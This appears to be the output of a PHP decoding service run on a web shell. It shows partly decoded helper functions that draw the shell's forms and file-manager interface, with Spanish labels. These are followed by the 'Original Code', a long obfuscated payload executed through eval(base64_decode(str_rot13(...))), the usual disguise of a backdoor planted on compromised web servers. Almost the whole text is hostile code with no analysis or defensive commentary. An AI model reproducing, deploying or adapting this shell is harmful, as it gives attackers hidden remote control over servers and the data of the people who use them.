? $arg['class'] : 'input';if ($arg['newline']) {p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");} else {p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");}}function makeselect($arg = array()){if ($arg['onchange']) {$onchange = 'onchange="'.$arg['onchange'].'"';}$arg['title'] = $arg['title'] ? $arg['title'] : '';if ($arg['newline']) p('<p>');p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");if (is_array($arg['option'])) {if ($arg['nokey']) {foreach ($arg['option'] as $value) {if ($arg['selected']==$value) {p("<option value=\"$value\" selected>$value</option>");} else {p("<option value=\"$value\">$value</option>");}}} else {foreach ($arg['option'] as $key=>$value) {if ($arg['selected']==$key) {p("<option value=\"$key\" selected>$value</option>");} else {p("<option value=\"$key\">$value</option>");}}}}p("</select>");if ($arg['newline']) p('</p>');}function formhead($arg = array()) {global $self;!$arg['method'] && $arg['method'] = 'post';!$arg['action'] && $arg['action'] = $self;$arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';!$arg['name'] && $arg['name'] = 'form1';p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");if ($arg['title']) {p('<h2>'.$arg['title'].' »</h2>');}}function maketext($arg = array()){!$arg['cols'] && $arg['cols'] = 100;!$arg['rows'] && $arg['rows'] = 25;$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");}function formfooter($name = ''){!$name && $name = 'submit';p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Enviar"></p>');p('</form>');}function goback(){global $self, $nowpath;p('<form action="'.$self.'" method="post"><input type="hidden" name="action" value="file" /><input type="hidden" name="dir" value="'.$nowpath.'" /><p><input class="bt" type="submit" value="Regresar..."></p></form>');}function formfoot(){p('</form>');}function pr($a) {echo '<pre>';print_r($a);echo '</pre>';}
Did this file decode correctly?
Original Code
<?php eval(base64_decode(str_rot13('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